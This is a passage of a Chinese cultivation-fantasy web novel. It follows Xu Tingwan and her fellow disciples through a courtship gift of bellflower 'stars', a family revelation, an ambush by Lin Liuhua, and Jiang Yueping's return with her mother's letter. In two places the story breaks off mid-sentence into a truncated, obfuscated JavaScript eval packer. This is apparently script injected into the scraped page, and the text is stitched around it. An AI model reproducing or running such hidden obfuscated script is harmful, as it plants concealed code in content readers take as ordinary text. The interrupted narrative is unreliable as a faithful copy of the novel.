温乐天眉头紧蹙:“大师姐意欲何为?” 徐听晚起身步入房间:“你日后自会明白,我也不清楚会引发怎样的动荡,但主动权必将掌握在我们手中。” 温乐天转头望着徐听晚的背影,莫名感受到一丝孤寂。此时,石观明带着浅云归来,好奇地看着他:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“若是你能把星星带来,那你以后可以叫我卿卿吧。”梅遇卿说道。 柳清云眨了眨眼:“一言为定。那你现在可以叫我清云吗?” “清云。”梅遇卿盯着他的眼睛,随后看向一旁,手指向天空:“你看那边的星星聚在一起,与其他星星都不一样。” “它们也许是在一起举办宴会呢。”柳清云顺着梅遇卿手指的方向望去,眼神中充满了真诚。 闻言,梅遇卿大笑两声:“那你说,星星摸起来是什么感觉?” 柳清云迅速回答道:“软软的!” “为什么?”梅遇卿有些疑惑。 “因为我给你带的‘星星’,摸起来是软软的。”晚风吹起柳清云的发丝,他眼中的光芒比繁星还要耀眼。 “我有点期待了。”梅遇卿伸手想要触摸天上的星星,心中好奇那软软的会是什么。 晚风将梅遇卿的发丝吹得有些凌乱,挂在发簪上。柳清云见状,小心翼翼地将其复原,然后猛地收回手,看向窗边:“这里怎么一个人都没有?” 梅遇卿嘴角一勾:“因为我把这里包下来了呀。” 她侧头看向柳清云,少年的脸颊微微泛红,偷偷地挠了挠脖颈处的发丝。 一夜过去,晨光初照。 “二师兄!你就帮帮我吧!”徐听晚结束打坐,步入院落准备练剑,只见柳清云正紧紧缠着温乐天,似乎有所求。 “究竟何事?”她带着几分好奇,轻声问道。 温乐天费力地从柳清云手中扯出自己的衣袖,无奈道:“他非要我亲手为他制作一个偏浅紫色的琉璃瓶。我提议让黑阁的其他器修来做,再送给他,可他偏说急着要,非要我亲手做。” 徐听晚闻言,不禁轻笑一声:“那你就给他做一个吧,大早上的,闹得这么欢。” 柳清云闻言,又迅速扯住了温乐天的袖子:“大师姐都这么说了,你就答应我吧。” 温乐天一把抓住柳清云的衣领,略带愠色道:“你让黑阁阁主给你做瓶子?你以为我整天无所事事吗?还有,大师姐,你这是在慷他人之慨啊。” 徐听晚笑容依旧,淡淡道:“对呀,我就是故意的,谁叫你昨天胡乱揣测我的心思呢。” 说完,她不再理会二人,拔出判决剑,开始专心致志地练起剑来。 温乐天叹了口气,无奈地看向柳清云,说道:“好吧,给我当一个月的助手,我就帮你做。” 柳清云闻言,立刻松开了他的衣袖,欢喜地答道:“好!谢谢三师兄,我就知道你一定会帮我的!” 温乐天摆了摆手,示意她过来:“那你现在就来帮我整理这些材料吧。” “好嘞!”柳清云爽快地应了一声。 徐听晚走出院落时,遇到了几位梅家子弟,他们纷纷避让,眼中满是恐惧。 这样也好,她心想,继续向外走去,打算去街上买些符纸和符墨。 “听晚,你要去哪里?”梅遇卿左顾右盼,快步走来,她轻盈的步伐在原石上踩出清脆的声响,腰间的桔梗花束似乎又换了一束新的。 “我去买些符纸和符墨,”徐听晚好奇地反问,“这么早,你来这里做什么?” 梅遇卿低声说道:“你知道柳清云要给你的那个‘星星’是什么吗?” “什么‘他的星星’?”徐听晚不解地看着她。 梅遇卿简要地讲述了昨晚柳清云要找她帮忙的事情,省略了许多细节。 “我不知道,到时候看他给你什么不就知道了。”徐听晚淡然说道。 “我就是有些好奇,”梅遇卿说道,“那我先回去了,还有好多事情要处理。” 徐听晚轻笑一声:“你匆匆赶来就为了问这个?” 梅遇卿皱眉道:“这不是在去视察的路上看见你了嘛,就顺便过来问问。” 徐听晚没再多说,摇了摇头,便走出梅府去购置所需物品了。 42.重逢 多日悄然流逝,柳清云的消息却依然杳无音讯,这不禁让梅遇卿心中的好奇愈发难耐,终是忍不住步至客院的门口。 恰在此时,石观明恰好从院内走出,一眼便瞧见了站在门口的她,不由得好奇地问道:“梅道友,你这是在做什么呢?” 梅遇卿连忙摆手,以眼神示意他莫要直呼其名。 石观明话音刚落,便有一阵急促的脚步声由远及近,他侧首望去,随即连忙侧身让开。只见柳清云急匆匆地冲了出来,一眼便瞧见了梅遇卿,欣喜地喊道:“梅道友!我正要找你呢!” 温乐天在身后无奈地耸了耸肩,与石观明对视一眼,两人皆是无奈地笑了。 徐听晚闻声走出,心中也不禁对柳清云所说的“星星”产生了几分好奇。察觉到自己的想法,她无奈地笑了笑,暗道自己或许是这段时间太过安逸了,竟还有闲心去想这些。不过,也确实,这段时间她的头痛没有再犯过。 柳清云激动地拉着梅遇卿,一路奔向了那晚曾去过的高楼。 他衣袖中似乎藏着什么,路上人来人往,梅遇卿轻咳一声,提醒他注意表情。 然而,这一路跑来,即便当着众人的面,梅遇卿也未曾想要甩开他的手。 柳清云眨了眨眼,挺直腰杆,从衣袖中拿出一个瓶子——一个偏淡紫色的琉璃瓶。 “你打开看看,里面是星星。”柳清云的声音中带着喘息与激动。 梅遇卿轻轻旋开瓶盖,清脆的琉璃相撞声响起,瓶身上的纹路精致细腻,隐隐透出瓶中之物。 淡紫色的五边形花苞,满满一瓶,她惊讶地将其倒在手中。 “桔梗的花苞就像星星一样。”柳清云的眼神中闪烁着光芒,梅遇卿轻笑一声,轻轻捏了捏那“星星”,果然是软软的。原来,他真的为她带来了星星。 星星在瓶中,光亮在少年的眼中流转。 “那你以后叫我卿卿吧。” “卿卿!” “嗯。” 徐听晚终究还是未能忍住心中的好奇,向温乐天询问道:“他究竟在瓶子里装了些什么?” 温乐天面露疑惑,解释道:“哦,那是一些桔梗的花苞,就是那种五边形、浅紫色的。” “……”徐听晚闻言,一时间竟有些愣怔,她眨了眨眼睛,轻轻点了点头,随后便转身走进了房间,心中暗自思量,原来竟是如此。 有心之人,即便是璀璨星辰,亦能设法摘下。 时光如白驹过隙,转眼间一年的时光又将悄然逝去,随着秋风轻轻摇落枝头的最后一片枯叶,冬日的脚步悄然而至。 “今年冬天,小师妹仍旧没有归来,即便是黑阁也探寻不到她的踪迹。”温乐天坐在石观明的对面,轻声嘟囔着。 石观明停下了手中翻阅书卷的动作,缓缓说道:“小师妹一直与大师姐保持着书卷联系,我们无需太过担忧。” 此时,温乐天放在桌上的书卷微微颤动,他打开一看,不禁微微蹙起了眉头:“我母亲来了。” 石观明继续低头沉浸于手中的书卷之中,淡淡道:“若她前来,你与梅道友说一声便是。” 温乐天点了点头,回应道:“好,我会与梅道友知会的。” 话音未落,院门猛然被撞开,两人的目光不约而同地投向了门口。徐听晚闻声结束了打坐,起身推开房门,只见温苏正紧紧抱住温乐天,激动地说道:“儿子,你不知道你娘我到底经历了多少波折!” 温乐天轻轻推开了温苏,脸上带着几分淡然:“能有什么事呢?前几天还说什么爹借尸还魂要来锁我们命的胡话,怕是看话本子看入迷了吧。” 温苏眉头紧锁,认真道:“你娘我真没骗你!” 温乐天眉头微皱,反问道:“那你指的是哪件事?” “……” 徐听晚走到石观明身旁,两人相视一笑,随后安静地在一旁注视着这对母子。 温苏轻轻揉了揉温乐天的脸颊,笑道:“你爹真的找过来了,而且他似乎并不讨厌我!” 温乐天眉头紧锁,疑惑道:“你不是说他已经不在了吗?” “谁不在了?”梅遇卿恰好走进屋内,身后紧跟着沧澜符宗的掌门谢止寒。 柳清云也随之步入,他站在梅遇卿身旁,两人一同将不解的目光投向徐听晚。 徐听晚摇了摇头,表示自己同样不清楚谢掌门为何会突然到访。 谢止寒缓缓走向温苏,面无表情地注视着她,随后又将目光转向温乐天,沉声道:“我还活着。” 温乐天似乎有些愣怔,连忙拱手行礼道:“谢掌门好,您还健在。” 徐听晚无奈地叹了口气,与石观明交换了一个意味深长的眼神。 真是出乎意料,温乐天竟然是温苏与谢止寒的孩子。 温苏微微侧首,望向谢止寒,嘴角勾起一抹笑意,轻声说道:“谢掌门,别误会,他是我在路上捡到的……” 温乐天一脸茫然地看着母亲,又转而望向谢止寒,而谢止寒恰好也转头看向他。他顿时有些手足无措,急忙将视线转向一旁的地面。 徐听晚抬头,只见谢止寒满眼无奈,低垂着眼眸看着胡言乱语的温苏。她轻轻推了推身旁的石观明,示意他们离开。 她向外走去,心中似有所感,忍不住回头望去,只见温苏正目不转睛地盯着她,仿佛要看穿她的心思一般。没错,自从得知三人的关系后,她一直在思考,自己是否能争取到谢止寒这一强大的助力。 然而,令人意外的是,温苏竟对她微微一笑,说道:“徐小友,请对你的盟友多一些信任。” 徐听晚闻言,猛地转过头,快步离去。 温乐天看着其他四人相继离开,心中也萌生了离去的念头。不料,谢止寒突然拉住他的衣襟,将他扯到面前,在他怀里塞了三张极品敛息符。温乐天瞪大了眼睛,身体僵硬,不敢有丝毫动弹,他侧头看向母亲,只见温苏尴尬一笑,说道:“快谢谢人家。” 温乐天拱手道:“谢谢……” 谢止寒紧紧握住他的手,深情地说道:“我是你父亲,无需如此客气。” 温乐天瞪大了眼睛,转头看向温苏。温苏见状,轻轻将他推了出去,随后看着谢止寒,说道:“谢止寒,都说了有机会让你们见面,你非要这么心急。” “你当初为何躲我那么久?”谢止寒的声音低沉而嘶哑,带着一丝委屈。 “当年在下南城时,你每次见我都拉长着脸,我以为你讨厌我呢。而且,和你发生那样的事,我当然害怕。跑到上北城后,我才发现自己怀孕了。”温苏解释道。 谢止寒将头埋进她的脖颈,低声说道:“辛苦了。” “……别打扰儿子,让他自己去决定是否接受你。”温苏轻声说道。 温苏与谢止寒匆忙离去,温乐天则默默地退到了徐听晚的身后,显然不愿随他们一同离开。 “徐小友,我这儿子生性顽皮,还请你多多包涵。”温苏与徐听晚目光交汇,言辞中带着几分恳切。徐听晚礼貌地回应道:“无妨,三师弟已经帮了我许多忙。” 温苏望着她,似乎还有话想说,却又犹豫着没有开口,最终只留下一句:“万事小心,若有需要,可通过书卷联系我。” 徐听晚闻言,拱手行礼道:“多谢温前辈的提醒。” 时间如白驹过隙,雪花随风轻舞,最终消散成绵绵细雨,滋润着嫩绿的叶片,而叶片则缓缓飘落,孕育着新的生机。 徐听晚凝视着手中的书卷,小师妹回复她信息的速度愈发迅速,似乎预示着她的归期已近。 每当徐听晚询问小师妹还需多久归来,得到的总是“快了”的回答,然而转眼间已近两年。 “大师姐!”温乐天急匆匆地闯入,声音中带着一丝慌乱,轻声说道,“林家一夜之间惨遭灭门。” “什么?”徐听晚闻言皱起了眉头,难以置信地再次翻开书卷。 “为何一点风声都没有?林流华呢?”她急切地追问。 “就是她所为。”温乐天语气平静地回答道。 “你详细说说。”徐听晚催促道。 温乐天深吸一口气,缓缓道来:“黑阁查出林流华有一个名为死侍庄的地方,里面全是被傀儡符咒操控的人。她显然蓄谋已久,布置了阵法,实施了这场屠杀。” “可杀了这么多人,为何外界毫无察觉?”徐听晚满心疑惑。 温乐天神色凝重地说:“因为整个林家都已落入她的掌控之中,成了她的傀儡。” 徐听晚闻言瞪大了眼睛,她从未料到林流华竟会如此狠毒。 温乐天叹了口气:“最关键的是,我们目前还没有办法证明那些人是傀儡。” 徐听晚嘴角勾起一抹冷笑:“无需我们去证明,也无需我们动手,我们只需静观其变。” “大师姐,你想到什么对策了?”温乐天好奇地问道。 “你去把清云和观明叫来,我们或许得悄悄出去一趟了。”徐听晚简洁明了地吩咐道。 四人围坐一圈,温乐天简明扼要地向众人叙述了事情的经过。 徐听晚从怀中取出一张纸条,轻轻放在桌面的中央。 “大师姐,这是何意?”柳清满心好奇,伸手拿起纸条,扫了一眼上面的字迹,随即念出声来:“林家密令:诱惑刺杀叶家长子叶司玉。” 徐听晚闻言,嘴角勾起一抹浅笑,淡淡说道:“鹬蚌相争,渔翁得利。” 温乐天似乎有所领悟,他凝视着徐听晚那双在昏暗中闪烁的眼睛,心中既生出一丝胆寒的刺激感,又满怀对徐听晚的仰慕与认同。 “那我们接下来该如何行动?”石观明开口问道。 徐听晚伸出食指和中指,轻轻夹起那张纸条,缓缓说道:“西北之地本就狭小,且位于天河上游,大部分地区都是河流,森林更是稀缺,仅有一片,被林家和叶家平分。林家作为御兽世家,那森林中常有妖兽袭击叶家的城民,导致两家关系本就紧张。若是我们将这张纸条交到现任叶家家主叶司玉的手中,再告诉他我父亲也愿意助他一臂之力,你们猜猜,接下来会发生什么?” 说完,她嘴角勾起一抹玩味的笑容。石观明接过话茬,说道:“那场面,定会很精彩。” 柳清云惊愕地摸了摸自己的肩膀,一脸难以置信。 温乐天开口问道:“你打算如何让他相信你父亲会出手相助?” 徐听晚摊了摊手,回答道:“又不是虚构的,我父亲自然会帮他。” “这话从何说起?”温乐天一脸困惑。 她收起纸条,微微一笑,说道:“乐天,我们把那个消息提前放出去吧,好好逼一逼我父亲,同时也看看闭关修炼的他会不会因此现身。” “他出不出现能说明什么?”柳清云满脸疑惑,刚才大师姐的话他勉强能理解,唯独这一句让他摸不着头脑。 徐听晚浅笑道:“如果他现身,就说明他没有同党,只能独自应对;如果他不出现,那就意味着有人会帮他解决。” 柳清云瞪大眼睛,望着她脸上的笑容,只觉一股寒意袭来,即便是刚才的话他都听明白了,但若是让他自己想出这样的计策,那是绝对不可能的。 “那我们是现在出发吗?”石观明问道。 徐听晚点了点头,说道:“秘境对决马上就要开始了,我们得赶在秘境对决之前行动,或许这次秘境对决结束后,我们就要回宗门了。” 四人各自戴上了精致的人皮面具,换上了朴素的衣裳,随后迈步向外,朝着西北方向的器修世家——叶家进发。 他们一同御剑飞行,刚离开梅家城不久,一张符纸犹如一只折翼的蝴蝶,轻轻飘落在徐听晚的眼前。 紧接着,爆炸声骤然响起,徐听晚身形矫健地翻滚躲避,勉强稳住了身形立于剑锋之上,然而她的灵力护体却瞬间破碎。 这一年里,她苦心孤诣地在后山的修炼中斩杀了上百只妖兽,终于领悟剑道真谛,突破至元婴巅峰期。 然而此刻,她元婴巅峰期的修为,竟被这一张符咒轻易地破了护体灵力。 “我们遇到大麻烦了。”徐听晚沉声道。 与此同时,身后的三人被浅云及时接住,柳清云已然昏迷不醒,石观明紧紧扶着他,目光警惕地扫视着四周。 就在这时,一道符咒从徐听晚身旁疾闪而过,紧接着,一个从天而降的阵法将四人牢牢困住。 “好久不见,我的宝贝女儿。”林流华的声音刚落下,一阵猛烈的狂风骤起,仿佛带着无尽的力量,紧接着,如同潮水般的符咒汹涌而来,向着众人席卷。徐听晚猛地瞪大了双眼,她调动起全身的灵力,紧握长剑,奋力抵挡这铺天盖地的攻击。 温乐天迅速取出数把防御纸伞,黑子灵活地附着其上,他凭借灵力操控着棋盘上的白子,巧妙地移动纸伞,为徐听晚筑起一道坚实的防线,抵挡住了这波凶猛的攻势。 他手持双弯刀,身形灵活地在符咒的缝隙中穿梭,躲避着那些零散的攻击,同时,他的目光锐利地搜寻着林流华的踪迹。 浅云则硬抗着那些散落的符咒,用自己的身体作为盾牌,将石观明和柳清云紧紧地护在身后。柳清云突然吐出一大口鲜血,他猛地惊醒,回想起刚才在队伍最后方,他隐约看到了林流华的身影。 “她藏在符咒里面!”柳清云大喊道,话音未落,阵法之中突然狂风大作,符咒漫天飞舞,林流华的身影在符咒的海洋中若隐若现,她轻盈地在符咒上跳跃,手中的符笔轻轻一挥,又一波威力巨大的上品爆裂符咒呼啸而出。 在温乐天的帮助下,徐听晚终于有了片刻的喘息之机,她迅速分析着局势,这是东南风,对应的是巽卦之阵法。她毫不犹豫地拿出悲秋笔,一张张符咒从她笔下涌出。 “西北天,主乾卦之阵法。”徐听晚沉声道,随着她的话语落下,一个新的阵法迅速设立,与对方的阵法相互抵消。徐听晚并不指望能找到阵心,因为她知道,在这漫天符咒中,肯定隐藏着一张关键的阵心符咒,毕竟,她的阵法就是林流华传授的。 然而,设立同样规模的阵法会消耗大量的灵力,她只能做出决断,御剑向下俯冲,一头扎进了一片茂密的树林。其他三人见状,也毫不犹豫地跟了上去。 石观明带着柳清云躲在浅云身上,徐听晚大声吼道:“我们分头跑!”话音未落,温乐天紧随其后,一脚轻盈地踏上她的灵剑,一手紧紧拽住她后背的衣襟,另一手则熟练地操控着白子,让上品御灵伞牢牢守护在他们身后。 林流华对柳清云和石观明的动向置若罔闻,她径直朝徐听晚猛冲而去,声音嘶哑:“任何妄图踩着我上位的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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血染剑刃,本源之力附加,万锋剑法第三式——暗月!徐听晚挥剑一斩,林流华的小臂应声而断,她瞪大了双眼,惊恐地盯着自己的左手! 林流华怒不可遏,右手掷出符咒,直击徐听晚。此刻的她已无力招架,口吐鲜血,视线模糊,人皮面具在符咒的猛烈爆炸下被撕得粉碎。 徐听晚被爆炸的气浪掀翻在地,接连翻滚数圈,最终撞在一棵树上。她轻笑一声,硬抗下这致命一击,竟奇迹般地未死。 第二张符咒紧随其后,徐听晚强撑地面,起身倚树。眼见符咒逼近,她拼尽最后一丝力气,侧身翻滚,险之又险地避开了最猛烈的爆炸,但仍被余波掀翻。 她再次挣扎起身,心中只有一个念头:不能死在这里,只要撑到有人来救她就行。 第三张符咒呼啸而来,徐听晚扑向一旁,却意外落入一个温暖的怀抱。符咒被青云剑一剑刺穿,钉在地上,轰然炸开。林流华瞥了一眼江月平的脸庞,眉头紧锁,最终拾起自己的断手,踏上飞行灵器,仓皇离去。 江月平紧紧搂住徐听晚的腰际,稳稳地将她扶住。 “我来晚了。”她的声音低哑,仿佛许久未曾开口言语。 她试图将上品复灵丹送入徐听晚的口中,却被徐听晚用力按住了手,她的指尖就这样停在了徐听晚柔软的唇瓣上。 江月平的手缓缓收回,只见徐听晚喘着粗气,艰难地说道:“你是想害我吗?快拿中品复灵丹来。” 江月平猛地反应过来,连忙取出中品复灵丹,小心翼翼地喂入徐听晚的口中。徐听晚服下丹药后,吐出一口鲜血。 江月平迅速拿出手帕,轻柔地拭去她嘴角残留的血迹。汗水浸湿了她的发丝,她的胸口剧烈起伏,呼吸困难。 徐听晚紧皱眉头,双手紧紧抓着江月平的衣服,随后无力地搂住她的脖颈,低声恳求:“别杀我。” 江月平将她打横抱起,目光深邃复杂。 “我不会杀你,若是我没有及时赶到,你恐怕早已性命不保。” 徐听晚勉强挤出一丝笑容:“嗯嗯,我明白了。” 她在心底自嘲一笑,尽管如此,也有可能是被利用,才被救下的,不是吗?虽然她觉得江月平并非这种人,但回想起自己曾经的所作所为,又怎能不让人心生怨恨呢? “月平,欢迎你归来,你的修为如今已达到了何种境界?”徐听晚轻声问道。 江月平轻轻一笑,说道:“大师姐,难道不先问问我累不累吗?” 徐听晚显然未曾料到江月平会有此一问,一时间竟愣住了。 江月平垂下眼眸,轻声答道:“我已至化神中期。” 听到这句话,徐听晚猛地一僵,指尖不由自主地微微颤抖。察觉到徐听晚的异样,江月平静静地依偎着她的发丝。 徐听晚依旧保持着刚才抱住江月平脖颈的姿势,同样紧贴着她的发丝。尽管两人如此亲近,却仿佛有一道无形的隔阂横亘在他们之间。 “恭喜,月平。”徐听晚勉强挤出一句话来。 江月平只是轻轻应了一声。 徐听晚紧咬着嘴唇,心中不甘:她还是输了。不!她还有机会,还有时间。 身体的疼痛让她忍不住颤抖,她索性将整个身体依靠在江月平身上。对于江月平的真实身份,她一无所知,因此这种毫无防备的亲近,就如同寻常女性朋友之间的自然依偎。 江月平抱着她重返梅家。 徐听晚静静地躺在床上,注视着梅遇卿正小心翼翼地为她包扎伤口。 “怎么出去一趟就变成这副模样了?”梅遇卿关切地问道。 “卿卿,我需要多久才能恢复?”徐听晚皱着眉询问。 “至少得三个月,这段时间你必须好好休息,知道吗?”梅遇卿无奈地叹了口气。 三个月的时间应该还来得及,或许能在秘境对决之前去叶家一趟。 在此之前,她打算和林流华交换一个秘密。 “能让梅家家主亲自为我包扎,真是荣幸之至啊。”徐听晚打趣着说道。 梅遇卿皱了皱眉,叹了口气道:“你还是好好休息吧,别再说话了。” “你帮我把月平叫进来吧,我有事要问她。”徐听晚嘴角微微上扬,牵动了脸上的伤口,不禁微微皱眉。 梅遇卿走出房间,对江月平说道:“听晚叫你进去,进去后你一定要让她好好休息,这段时间别想那么多事情了,免得又犯头痛的老毛病。她现在需要恢复,又不能吃止痛丹。” 江月平点了点头,缓缓走进房间。徐听晚面带微笑地看着她,问道:“小师妹,你怎么知道我在那里的?” 江月平的目光掠过她头上的黄玉银蝶发簪,低眸说道:“刚好要回来,路上刚好遇见。” 徐听晚轻轻应了一声,觉得江月平的回答并无不妥。毕竟,就算不是她,是任何一个人,江月平都会停下来看一看的。 江月平凝视着她的眼睛,徐听晚有些疑惑地问道:“怎么了?你要休息吗?” 之前两人都是住在一个屋子里,床也只有一张。 但现在有一张临时的小床放在一旁。原本是因为她和柳清云都受了伤,温乐天为了方便照看,才临时搭了一张小床。 江月平看了一眼一旁的小床,说道:“大师姐,你好好休息,我打坐一会儿。” 徐听晚点了点头,但总觉得江月平刚才说的话有些别扭。 43.寒月 徐听晚缓缓睁开眼睛,只见夜色已深。她口中残留着血腥与丹药的微涩,令她倍感不适。瞥见旁边桌上摆放的水杯,她伸出手,企图起身饮水,但身体的剧痛仅让她能微微颤抖。 月光透过窗棂,洒在她的床边,孤寂伴随着月光弥漫开来。她无奈地摇了摇头,决定还是闭上双眼。 忽觉一道身影遮住了月光,徐听晚犹豫着睁开了眼。不知为何,她方才竟暗自思量,若此刻有人取她性命,她亦不会感到惊讶与惋惜。 “大师姐,我来喂你喝水。”江月平的声音略显单调而苦涩,宛如冰冷的月光,在徐听晚眼中却似碎冰融入白雪,伪装成温暖的棉被。 徐听晚微微张开嘴,动作略显迟缓,随后轻声回应:“好。”此刻,她的眼神中流露出难得的柔和与苍凉。 江月平缓缓坐在床边,温柔地扶起徐听晚,后者强忍着疼痛,目光直直地锁定在江月平的脸上,试图在她的眼神中寻觅些什么,却发现自己纷飞的思绪随着江月平递来的水杯,一点一滴地融入了腹中。 “大师姐,我赶在今年初雪之前回来了。”江月平的声音平静而沉稳,徐听晚却难以捉摸她的真实意图,只能瞪大眼睛,茫然地望着她。 江月平细心地喂徐听晚喝完水后,从怀中掏出一张信封,轻声道:“这是我母亲藏在我储物袋里,小时候衣服中的遗物。” 徐听晚故作不知,疑惑地问道:“你的母亲?” “我的母亲,便是江枝意,我就是那个被林流华抛弃的孩子。”江月平面色凝重,一字一顿地说道。 她心中反复权衡着此刻的举动,思索着为何要向徐听晚透露这一切,自己究竟渴望得到什么,是到了必须坦诚相告的时刻了吗?还是出于其他什么缘由…… “这封信上究竟写了些什么,能告诉我吗?你接下来打算怎么做呢?”徐听晚凝视着他那深邃的眼眸,两人之间的距离近得几乎能感受到彼此的呼吸交织。 江月平缓缓拆开信封,将其递到徐听晚的眼前,轻声说道:“大师姐,你觉得该如何处理,就如何去做吧。” 徐听晚仔细端详着信纸上的字迹,她靠着的木床头让她感到背后隐隐传来阵阵疼痛,于是她微微侧身,试图缓解这份不适。见状,江月平立刻起身,将自己小床上的被子拿来,细心地垫在她的背后,并继续为她举着信纸。 “没关系的,我可以自己拿着看。”徐听晚伸手欲取,但江月平却突然躲开,他并不希望她多费力气。然而,在徐听晚看来,这只是他不愿让她触碰母亲遗留下的东西罢了。 她略显尴尬地收回了手,继续专注地阅读着信纸上的内容。 信上的字数虽不多,但字里行间却流露出一位母亲为孩子竭尽全力争取希望的深情厚意。 信纸上清晰地写着: 林姑娘,我前来寻你,你却拒我于门外,不愿接纳这个孩子。我理解你的苦衷,但我将与我心爱的人踏上一条极为艰难的道路,无法带着他同行。因此,我只能恳请你,用这些灵石为他寻一个善良的人家,给予他关爱与照顾。 回想起当年,你与古哥意外有了这个孩子。古哥并非有意要迫使你生下他,实在是你的身体状况堪忧。若不生下这个孩子,你恐怕会落下难以治愈的病根,甚至面临短命的悲惨结局。 算我恳求你,这个孩子非常乖巧懂事。你只需为他找一个宁静的小地方,让他能够平安地慢慢成长就好。 ——江枝意 我舍不得穿上母亲最后为我缝制的衣服,因此一直没有察觉这个东西。直到不久前,我才偶然发现这个秘密。大师姐,你觉得这个发现对我有用吗?”江月平紧盯着徐听晚脖颈处的伤痕,眉头微微蹙起,但在徐听晚看来,这无疑是赤裸裸的试探。 “你能把你所知道的一切都告诉我吗?”既然对方选择了试探,徐听晚也决定以试探回应。她手指紧紧抓着被褥,伤口因此再次渗出了丝丝鲜血。 江月平嗅到了血腥味,连忙抓住她的手,轻轻掰开她的手指,示意她放松。 “我还记得母亲当年从外面回来的情景,她收拾好东西,准备带我离开。我当时以为是有人追杀她,或许她只是打算和安叔叔一起离开,然后将我托付给林流华。或许在她心中,一个母亲是绝不会逼死自己的孩子的。”江月平平静地叙述着一切,她渴望得到徐听晚的同情与信任。 然而,徐听晚只是继续追问:“那个安叔叔是谁?” 江月平的眼神闪过一丝失落,但仍平静地回答:“安澈。” 徐听晚猛地瞪大了眼睛:“是我想的那个人吗?” “没错,就是前任魔教教主安澈。”江月平轻声确认。 “真没想到他们会在一起……那……那时候魔教教主前往上北城,被姜满斩杀,是为了去找江枝意吗?”徐听晚难以置信地问道。 她沉思了片刻,一个计划悄然在她心中成形。 她不仅要逼迫她的父亲与叶家家主,更要将逼迫林流华,她想看看一个短命之人,会做出多疯狂的事情。 徐听晚自储物袋中取出一个精致的香囊,对江月平吩咐道:“月平,你将这香囊与这封信转交给温乐天,让他再书写一张纸条,内容需写明:当年真正救下他的,并非徐君彦,而是戴着徐君彦人皮面具、携带着温苏售卖的物品的古忆南。同时,告知她当年遗落的这个香囊是在古忆南的居所找到的。之后,你需让他带着这三样物品静候我的消息,一旦我示意,便即刻将东西送至指定地点,让林流华前去拿取。” 江月平接过香囊,微微颔首,心中疑惑:“林流华得知真相后,会如何行动呢?” 徐听晚嘴角勾起一抹轻笑,说道:“或许,到那时,她便会无暇顾及我们,叶家、徐君彦与林流华之间,定会掀起一场你死我活的争斗。而我们,将成为这场纷争中最大的赢家,叶家虽也能从中获利,但相较于我们透露给他们的这一消息,他们所获得的利益必将会分给我们。” 江月平虽早已通过留影石知晓了徐听晚的计划,却只能装作一无所知,故作不解地问道:“这是何意?” 徐听晚耐心地再次阐述了整个计划,并表示待她伤势痊愈后,便会亲自前往叶家,届时,一切都将变得异常精彩。 江月平又倒了一杯水,小心翼翼地递到徐听晚的唇边,徐听晚仰头饮下,随后以浅笑回应她的关怀。 “大师姐……”江月平轻声呼唤,轻轻抓住徐听晚的手臂,生怕触碰到她手臂上的伤口,最终还是缓缓放开了手,只留下一句:“好好休息。” 言罢,她转身走向一旁,月光再次洒落在徐听晚的身上。 “被子。”徐听晚轻声说道。 江月平闻声抬头,月光映照在她的发丝上,柔和了她的脸庞,心中却五味杂陈。 明明刚才在她熟睡时,已站了许久,静静地看着她,可此刻的她,却比任何时候都更加令人心动。 她默默地取回被子,轻轻地扶徐听晚躺下,心中满是酸涩与无奈。 旁边传来了江月平缓缓躺下的声音。尽管修士往往能够连续多日不眠不休,但在此刻,两人却心有灵犀地一同躺下。江月平轻轻阖上双眸,她心里十分清楚,大师姐对她并无太多在意,甚至连朋友都算不上,她们之间的关系模糊不清。 徐听晚则睁着眼凝视着皎洁的月光,脑海中回放着江月平方才坐在此处的情景。她不禁烦躁地皱了皱眉,想到江月平已经修炼至化神中期,心中满是不甘,于是闭上眼睛,却又猛地睁开,疲倦地垂下眼帘,内心充满了矛盾与挣扎。 她深知这样下去,江月平会成为掌门,会成为众人瞩目的第一,而自己如今所做的一切,似乎都只是为她铺路。 不,这一切不仅仅是为了攀登修道的高峰,更是为了在这残酷的世界中活下去。或许,是自己太过贪心…… 虽然早已预料到自己会败北,但心中仍抱有一丝微弱的希望。 也许,还有机会,毕竟尚未走到最后…… 一大早,江月平便携着那些东西去找温乐天,而徐听晚则在一旁静静地聆听着柳清云那有节奏的捣药声和低声的念叨。 “真没想到师娘会如此绝情。”他紧锁着眉头,目光中满是困惑地凝视着手中的物品,随后又转向徐听晚,眼中流露出深深的同情。 徐听晚手执书卷,给林流华发送了一条消息:“母亲,您是否有兴趣进行一场交易?” 等待了片刻,却未得到回应。她轻轻闭上眼睛,这时,柳清云走了出去,而梅遇卿走了进来,紧锁着眉头为她细心地换药。 换完药后,徐听晚重新翻开书卷,林流华终于回复了她:“你有什么值得我与你交易的?” 徐听晚从容不迫地回复道:“古忆南和江枝意。” “那你想要与我交易什么?”林流华回复得十分迅速。 “你只需要告诉我,我的母亲是谁。” “你先告诉我你所知道的事情,我便告诉你。” 徐听晚毫不在意地回复:“可以。过几天,我所知道的信息就会送到你手上。” 林流华面无表情地截断了对话,此时,医师跪在地上,她坐在林家府邸最高的家主之位上,儿时的痛苦记忆在这一刻得到了释放。 曾被当作一颗可以随意抛弃的棋子,当她目睹父亲临终前那惊愕的表情时,心中竟涌起一股难以言喻的快意。 医师面无表情地禀报:“林小姐,已经处理妥当了。” 林流华挥了挥手,示意医师退下。 虽然傀儡已死,但其生前的记忆却依附在肉身之上,任由林流华随意调控。 过了五六日,徐听晚终于能够下床活动。她缓缓步入院子,在石椅上坐下,随手取出一本记载世家与宗门事宜的书籍翻阅起来。然而,这本书的内容相较于剑法典籍与阵法秘籍,显然缺乏吸引力,没过多久,她便有些不耐烦地用手撑着头。 这时,一阵脚步声传来,江月平走到她身旁坐下,递上一盘灵果。 这几日,江月平时常出现在她面前,不是送水便是带些吃食回来。 其他人也注意到了这一点。 